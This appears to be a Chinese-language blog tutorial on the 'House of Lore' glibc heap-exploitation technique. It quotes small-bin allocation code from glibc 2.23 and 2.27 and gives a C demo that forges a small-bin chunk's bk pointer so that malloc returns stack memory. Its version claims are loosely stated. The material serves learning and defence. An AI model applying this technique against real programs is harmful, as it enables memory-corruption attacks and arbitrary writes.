回炉重修之house of lore
字数 1493 2025-08-22 18:37:22

House of Lore 攻击技术详解

概述

House of Lore 是一种基于 glibc 堆管理机制中 small bin 操作的利用技术,允许攻击者通过精心构造的堆布局实现任意地址分配 chunk。本文将详细解析该技术的原理、利用条件、不同版本间的差异以及实际利用方法。

受影响版本

  • 有效版本范围:glibc 2.23 至 2.31(不包含 2.31)
  • 重点测试版本
    • libc-2.23
    • libc-2.27
  • 被禁版本:glibc 2.31 及以上(House of Lore 被官方禁止)

基本原理

House of Lore 通过操纵 small bin 的双向链表结构,欺骗 malloc 分配器将伪造的 chunk 当作合法 chunk 分配出来。核心在于:

  1. 控制 Small Bin Chunk 的 bk 指针
  2. 控制目标伪造 chunk 的 fd 指针
  3. 绕过 small bin 双向链表完整性检查

关键代码分析(glibc 2.23)

_int_malloc 函数中(libc2.23 版本 3405 行附近):

if (in_smallbin_range (nb)) {
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);
    
    if ((victim = last (bin)) != bin) {
        if (victim == 0) /* initialization check */
            malloc_consolidate (av);
        else {
            bck = victim->bk;
            if (__glibc_unlikely (bck->fd != victim)) {
                errstr = "malloc(): smallbin double linked list corrupted";
                goto errout;
            }
            set_inuse_bit_at_offset (victim, nb);
            bin->bk = bck;
            bck->fd = bin;
            
            if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
        }
    }
}

代码执行流程解析

  1. 第一段关键代码

    if ((victim = last (bin)) != bin) {
        bck = victim->bk;
    
    • 检查 small bin 是否非空
    • 获取 victim chunk 的 bk 指针(攻击者可控制)
  2. 安全检查

    if (__glibc_unlikely (bck->fd != victim)) {
        errstr = "malloc(): smallbin double linked list corrupted";
        goto errout;
    }
    
    • 关键检查:bck->fd == victim
    • 这意味着伪造的 chunk (bck) 的 fd 指针必须指向原 victim chunk
  3. 链表操作

    bin->bk = bck;
    bck->fd = bin;
    
    • 将伪造的 chunk 链入 small bin
    • 之后可以通过 malloc 分配出这个伪造的 chunk

利用条件

  1. 能够控制 Small Bin 中某个 chunk 的 bk 指针
  2. 能够控制目标地址(伪造 chunk)的 fd 指针
  3. 满足 fake_chunk->fd == victim_chunk 的检查条件

演示代码(glibc 2.23 环境)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc, char * argv[]) {
    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[4] = {0};
    
    intptr_t *victim = malloc(0x100);
    malloc(0x10);
    free(victim);
    malloc(0x400); // 将 unsorted bin 转为 small bin
    
    // 布置攻击条件
    victim[1] = &stack_buffer_1; // victim_chunk->bk = stack_buffer_1_addr
    stack_buffer_1[2] = victim-2; // stack_buffer_1->fd = victim_chunk_addr
    
    intptr_t *p1 = malloc(0x100);
    intptr_t *p2 = malloc(0x100); // 在栈上分配 chunk
    malloc(0x100); // 可能失败: bck->fd != victim
}

堆布局说明

  1. malloc(0x100) 分配 victim chunk
  2. malloc(0x10) 防止合并
  3. free(victim) 释放到 unsorted bin
  4. malloc(0x400) 将 unsorted bin 转为 small bin

攻击布置

  • victim[1] = &stack_buffer_1:修改 victim chunk 的 bk 指针指向栈地址
  • stack_buffer_1[2] = victim-2:确保伪造 chunk 的 fd 指向 victim chunk

glibc 2.27 的变化

2.27 版本引入了 tcache 机制,相关代码变为:

if (in_smallbin_range (nb)) {
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);
    
    if ((victim = last (bin)) != bin) {
        bck = victim->bk;
        if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
        
        set_inuse_bit_at_offset (victim, nb);
        bin->bk = bck;
        bck->fd = bin;
        
        if (av != &main_arena)
            set_non_main_arena (victim);
        check_malloced_chunk (av, victim, nb);
        
        #if USE_TCACHE
        /* While we're here, if we see other chunks of the same size,
           stash them in the tcache. */
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins) {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over. */
            while (tcache->counts[tc_idx] < mp_.tcache_count &&
                  (tc_victim = last (bin)) != bin) {
                if (tc_victim != 0) {
                    bck = tc_victim->bk;
                    set_inuse_bit_at_offset (tc_victim, nb);
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    bin->bk = bck;
                    bck->fd = bin;
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
        #endif
        
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
    }
}

2.27 版本的注意事项

  1. 需要确保:

    • tc_victim = last (bin)) == bin(链表为空),或
    • tcache->counts[tc_idx] ≥ mp_.tcache_count(tcache 已满)

    否则可能导致非法内存访问使程序崩溃

高版本(2.31+)情况

在 glibc 2.31 及更高版本中:

  1. House of Lore 被官方禁止
  2. 利用条件变得更加苛刻
  3. 如果有满足利用的条件,通常可以选择其他更直接的攻击路径(如 IO 相关攻击)

防御措施

  1. 使用最新版本的 glibc(2.31+)
  2. 加强堆指针的完整性检查
  3. 实施堆隔离和保护机制

总结

House of Lore 是一种经典的堆利用技术,通过精心构造 small bin 的双向链表实现任意地址分配。虽然在高版本中已被修复,但理解其原理对于学习堆利用技术和防御措施仍有重要价值。

House of Lore 攻击技术详解 概述 House of Lore 是一种基于 glibc 堆管理机制中 small bin 操作的利用技术,允许攻击者通过精心构造的堆布局实现任意地址分配 chunk。本文将详细解析该技术的原理、利用条件、不同版本间的差异以及实际利用方法。 受影响版本 有效版本范围 :glibc 2.23 至 2.31(不包含 2.31) 重点测试版本 : libc-2.23 libc-2.27 被禁版本 :glibc 2.31 及以上(House of Lore 被官方禁止) 基本原理 House of Lore 通过操纵 small bin 的双向链表结构,欺骗 malloc 分配器将伪造的 chunk 当作合法 chunk 分配出来。核心在于: 控制 Small Bin Chunk 的 bk 指针 控制目标伪造 chunk 的 fd 指针 绕过 small bin 双向链表完整性检查 关键代码分析(glibc 2.23) 在 _int_malloc 函数中(libc2.23 版本 3405 行附近): 代码执行流程解析 第一段关键代码 : 检查 small bin 是否非空 获取 victim chunk 的 bk 指针(攻击者可控制) 安全检查 : 关键检查: bck->fd == victim 这意味着伪造的 chunk ( bck ) 的 fd 指针必须指向原 victim chunk 链表操作 : 将伪造的 chunk 链入 small bin 之后可以通过 malloc 分配出这个伪造的 chunk 利用条件 能够控制 Small Bin 中某个 chunk 的 bk 指针 能够控制目标地址(伪造 chunk)的 fd 指针 满足 fake_chunk->fd == victim_chunk 的检查条件 演示代码(glibc 2.23 环境) 堆布局说明 malloc(0x100) 分配 victim chunk malloc(0x10) 防止合并 free(victim) 释放到 unsorted bin malloc(0x400) 将 unsorted bin 转为 small bin 攻击布置 victim[1] = &stack_buffer_1 :修改 victim chunk 的 bk 指针指向栈地址 stack_buffer_1[2] = victim-2 :确保伪造 chunk 的 fd 指向 victim chunk glibc 2.27 的变化 2.27 版本引入了 tcache 机制,相关代码变为: 2.27 版本的注意事项 需要确保: tc_victim = last (bin)) == bin (链表为空),或 tcache->counts[tc_idx] ≥ mp_.tcache_count (tcache 已满) 否则可能导致非法内存访问使程序崩溃 高版本(2.31+)情况 在 glibc 2.31 及更高版本中: House of Lore 被官方禁止 利用条件变得更加苛刻 如果有满足利用的条件,通常可以选择其他更直接的攻击路径(如 IO 相关攻击) 防御措施 使用最新版本的 glibc(2.31+) 加强堆指针的完整性检查 实施堆隔离和保护机制 总结 House of Lore 是一种经典的堆利用技术,通过精心构造 small bin 的双向链表实现任意地址分配。虽然在高版本中已被修复,但理解其原理对于学习堆利用技术和防御措施仍有重要价值。